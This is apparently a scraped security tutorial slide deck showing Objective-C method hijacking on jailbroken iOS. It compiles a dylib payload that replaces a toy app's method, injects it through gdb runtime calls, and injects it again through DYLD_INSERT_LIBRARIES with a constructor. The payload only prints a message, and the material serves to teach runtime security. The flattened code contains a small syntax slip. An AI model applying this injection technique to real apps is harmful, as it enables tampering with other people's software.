You are on page 1of 12

ABUSING THE RUNTIME LIBRARY

Breaking Objective-C Down Disassembling and Debugging Malicious Code Injection Injection Using Dynamic Linker Attack

ABUSING THE RUNTIME LIBRARY

Disassembling and Debugging

Simplified Hello, world! application using Objective-C classes. (HelloWorld.m)


#import <Foundation/Foundation.h> @interface SaySomething : NSObject - (void) say: (NSString *) phrase; @end

@implementation SaySomething
- (void) say: (NSString *) phrase { printf("%s\n", [ phrase UTF8String ]); } @end int main(void) {

SaySomething *saySomething = [ [ SaySomething alloc ] init ];


[ saySomething say: @"Hello, world!" ]; [ saySomething release ]; return 0; }

To compile this simple program, use the cross-compiler included with your version of Xcode: $ export PLATFORM=/Developer/Platforms/iPhoneOS.platform $ $PLATFORM/Developer/usr/bin/arm-apple-darwin10-llvm-gcc-4.2 \ -o HelloWorld HelloWorld.m \ -isysroot $PLATFORM/Developer/SDKs/iPhoneOS5.0.sdk \ -framework Foundation -lobjc Using gdb, disassemble the main function on your device: root# gdb ./HelloWorld debug.rtf Set a breakpoint to the main function,
(gdb) break main Breakpoint 1 at 0x2eec (gdb) run Starting program: /private/var/root/HelloWorld Reading symbols for shared libraries .............................. done Breakpoint 1, 0x00002eec in main () (gdb)

MALICIOUS CODE INJECTION


Injecting

malicious code at the debugger level allows custom code to replace existing methods. Once a method is replaced with a malicious payload, the malicious code can then perform its own tasks and then return its own custom values. It can even call the original methods code and make changes to the data prior to returning. In this example, youll build a dynamic library (.dylib) that will serve as a malicious payload, and inject it into the Hello World program using a debugger.

The CodeTheft Payload


Malicious evil_say payload (injection.c)

#include <stdio.h> #include <objc/objc.h> id evil_say(id self, SEL op) { printf("Bawhawhawhaw! I'm Evil!\n"); return self; }
This payload contains a single function, evil_say, which is intended to hijack the say method of the SaySomething class. To compile and link this code into a dynamic library, use the compiler and linker supported by your version of Xcode. $ export PLATFORM=/Developer/Platforms/iPhoneOS.platform $ $PLATFORM/Developer/usr/bin/arm-apple-darwin10-llvm-gcc-4.2 \ -c -o injection.o injection.c \ -isysroot $PLATFORM/Developer/SDKs/iPhoneOS5.0.sdk \ -fPIC $ $PLATFORM/Developer/usr/bin/ld \ -dylib -lsystem \ -o injection.dylib injection.o \ -syslibroot $PLATFORM/Developer/SDKs/iPhoneOS5.0.sdk/ If the build succeeded, youll end up with a file named injection.dylib in the current working directory. Just like executable binaries, dynamic objects must be code-signed in order to run. Code-sign the dynamic library using ldid. $ ldid -S injection.dylib

Injection Using a Debugger


Use the GNU Debugger to dynamically load and inject the payload as a replacement for the say method in the SaySomething class. # gdb -f ./HelloWorld Set an initial breakpoint for the main function and run the program. (gdb) b main Breakpoint 1 at 0x2eec (gdb) run Starting program: /private/var/root/HelloWorld Reading symbols for shared libraries .............................. done The program will break at the main function. The first step in injecting the payload is to obtain the memory address to the SaySomething class. This is done using the objc_get Class function, which is part of the Objective-C runtime library. Breakpoint 1, 0x00002eec in main () (gdb) call (void *)objc_getClass("SaySomething") $1 = (void *) 0x30cc

The call to objc_getClass returns a memory address and stores it in $1. Next register the selector for the existing say method with the runtime, so that the selectors name is mapped to the method. This is done with the sel_registerName runtime library function. This will return a pointer to a SEL structure, which youll also use. (gdb) call (void *)sel_registerName("say:") $2 = (void *) 0x2fba The selector for the targeted method will be returned and stored into $2. With this, and a pointer to the targeted class from the previous call, you now have enough information to call the class_getMethodImplementation function, which will return a pointer to the existing say method. (gdb) call (void *)class_getMethodImplementation($1, $2) $3 = (void *) 0x2e9c

The returned address is stored in $3. Its now time to dynamically load the malicious payload into memory and obtain a memory address for it. To do this, invoke the dynamic linker functions dlopen and dlsym, which are already loaded in memory as part of the dynamic linker. The dlopen function loads and links the library. The dlsym function returns a pointer to a given symbol, in this case the evil_say function. (gdb) call (void *)dlopen("injection.dylib", 2) Reading symbols for shared libraries . done $4 = (void *) 0x115a50 (gdb) call (int *)dlsym($4, "evil_say") $5 = (int *) 0x43f88 Youre now ready to replace the existing say method with your malicious code. To do this, use the runtime librarys class_replaceMethod function. Youll supply a pointer to the class, the selector for the method, the pointer to your malicious code, and an encoding specifying a set of argument types accepted.
(gdb) call (void *)class_replaceMethod($1, $2, $5, "@:") $6 = (void *) 0x2e9c

The method has now been replaced with your malicious code. Continue the program from the main function, and youll see that the malicious payload is invoked when the Hello World program reaches [ SaySomething say: @"Hello, world!" ].
(gdb) continue Continuing. Bawhawhawhaw! I'm Evil! Program exited normally. (gdb)

INJECTION USING DYNAMIC LINKER ATTACK

Just as an attack payload can be injected using a debugger, theres an even easier way to inject malicious code to hijack a method. Using the dynamic linkers DYLD_INSERT_LIBRARIES directive, a dynamic library can be loaded at runtime and make the necessary call to class_replaceMethod to insert the malicious code.

Recompile your CodeTheft payload with an additional function to call class_replace Method, using an initialization function that will get called when the library is linked in. CodeTheft payload with initializer / injector (injection.c) #include <stdio.h> #include <objc/objc.h> id evil_say(id self, SEL op) { printf("Bawhawhawhaw! I'm Evil!\n"); return self; } static void __attribute__((constructor)) initialize(void) { class_replaceMethod( objc_getClass("SaySomething"), sel_registerName("say:"), evil_say, "@: ); } When you recompile this code, youll need to add the linker flag -lobjc in order to link the Objective-C runtime library.

$PLATFORM/Developer/usr/bin/ld \ -dylib -lsystem -lobjc \ -o injection.dylib injection.o \ -syslibroot $PLATFORM/Developer/SDKs/iPhoneOS5.0.sdk/

Once compiled and linked, youll have a new binary named injection.dylib in your current working directory. Sign this using ldid and copy it to the device. $ ldid -S injection.dylib On the device, execute the HelloWorld program from the commandline, but first set the environment variable DYLD_INSERT_LIBRARIES to add your malicious library to the list of dynamic dependencies loaded. This will cause it to be linked in, and its initializer called before the program is started. # export DYLD_INSERT_LIBRARIES="./injection.dylib" # ./HelloWorld Bawhawhawhaw! I'm Evil!

You might also like